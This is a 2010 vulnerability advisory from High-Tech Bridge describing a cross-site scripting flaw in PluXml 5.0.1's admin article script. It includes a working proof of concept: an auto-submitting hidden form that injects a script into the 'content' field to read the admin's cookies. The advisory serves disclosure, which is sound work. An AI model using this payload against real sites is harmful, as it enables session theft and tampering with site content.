Vulnerability ID: HTB22632 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_pluxml_1.html Product: PluXml Vendor: PluXml Team ( http://pluxml.org/ ) Vulnerable Version: 5.0.1 and probably prior versions Vendor Notification: 29 September 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "/core/admin/article.php" script to properly sanitize user-supplied input in "content" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/core/admin/article.php"; method="post" name="main" > <input type="hidden" name="artId" value="0001"> <input type="hidden" name="title" value="article title"> <input type="hidden" name="author" value="001"> <input type="hidden" name="chapo" value=""> <input type="hidden" name="content" value='page html content"><script>alert(document.cookie)</script>'> <input type="hidden" name="day" value="23"> <input type="hidden" name="month" value="09"> <input type="hidden" name="year" value="2010"> <input type="hidden" name="time" value="15:45"> <input type="hidden" name="catId[]" value="001"> <input type="hidden" name="new_catid" value="002"> <input type="hidden" name="new_catname" value=""> <input type="hidden" name="tags" value="PluXml"> <input type="hidden" name="allow_com" value="1"> <input type="hidden" name="url" value="article-page-url"> <input type="hidden" name="template" value="article.php"> <input type="hidden" name="preview" value="Aperçu"> </form> <script> document.main.submit(); </script>